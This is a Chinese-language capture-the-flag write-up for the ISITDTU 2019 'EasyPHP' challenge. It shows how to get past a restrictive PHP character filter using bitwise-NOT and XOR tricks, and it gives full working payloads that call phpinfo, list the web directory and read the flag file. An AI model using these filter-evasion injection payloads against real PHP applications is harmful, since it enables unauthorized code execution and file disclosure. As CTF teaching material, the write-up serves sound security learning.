ISITDTU2019-EasyPHP
1 |
|
有两个限制:
- 过滤了数字,部分字母和一些特殊符号
- 出现的字符不得超过13种
可用的内置函数
简单fuzz以下
1 | $functions = get_defined_functions()['internal']; |
得到
1 | rtrim |
看起来chr
比较有搞头,但是.
被过滤了,所以即使用chr得到字符也无法拼接起来,更何况数字也全部被过滤了
无字母数字webshell
这时可以想到使用无字母数字的webshell,
无字母数字webshell主要有三种:
- 取反
- 异或
- 自增
这里$
被禁了,无法使用变量,所以不考虑自增
使用取反(~%8F%97%8F%96%91%99%90)();
得到phpinfo
可以看到disable_functions把命令执行的函数都禁了,并且存在open_basedir,把目录范围限制在了/var/www/html
在当前的限制条件下,绕过disable_functions和open_basedir显然是不可能的,因此有以下两种思路:
- flag在/flag下,需要写一个完整的shell再去bypass disable_functions或open_basedir
- flag就在/var/www/html,构造一个符合条件的payload去读即可
无论是哪种,都需要使用尽可能少种类的字符。因为一个字符串取反的值是固定的,而异或可以有很多种可能,所以考虑使用异或
通过bool得到数字
这里有一个技巧,构造出bool值再将其转为整型,比如
1 | var_dump(!!@a); //bool(true) |
为了构造出大的数字,可以使用次方运算符**
有了这个技巧,我们就可以只用!@a
以及运算符号得到任意整型数字
然而,int和int异或依然是int,并且我们没办法将int按照ascii码转换为字符串(chr只能转换成一个字符,并且这里无法拼接)
我们需要字符串和字符串异或才能得到一个字符串
这时可以利用刚刚看起来没卵用的trim
将int转换为string,这样我们就可以用!@a
以及运算符号得到任意的数字字符串
疯狂异或
接下来就要在限定条件内,使用xxx^数字字符串得到我们想要的函数
第一个目标是var_dump(scandir(getcwd()))
,用来确认flag是不是在/var/www/html
php的函数不分大小写,可以使用大小写混搭的方式
通过以下脚本去寻找异或
1 |
|
搞了一万年,终于在限制条件内找到了对应的异或字符串
1 | Var_dump: 75320891^aTAmTMTa |
这样只需要用到();trim!@a+y
12种字符
再用以下脚本将数字转换为bool值
1 | target = 315760 |
最后拼出的payload(好可怕。。):
1 | (aTAmTMTa^trim((!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((aTTyTyA^trim((!!a+!!a+!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))))((TtaTaT^trim((!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))))())); |
发现flag就在/var/www/html/
1 | array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(34) "n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt" } |
接下来继续找异或,目标是
1 | var_dump(file_get_contents(end(scandir(getcwd())))); |
找到
1 | file_get_contents: 20512315276751752^TyYtmTtamTyyatyaa |
没有使用新的字符,最后的payload:
1 | (aTAmTMTa^trim((!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((TyYtmTtamTyyatyaa^trim((!!a+!!a)+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a))))((tyT^trim((!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))))((aTTyTyA^trim((!!a+!!a+!!a)+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))+(!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a+!!a))))((TtaTaT^trim((!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a))+(!!a+!!a+!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a))+(!!a+!!a+!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a))+(!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a))+(!!a+!!a+!!a)*((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)**(!!a+!!a+!!a+!!a+!!a))))())))); |
头都要秃了。。
这题还有另外一种解法,通过三个字符串的异或,参见https://github.com/jesux/ctf-write-ups/tree/master/isitdtu-2019/EasyPHP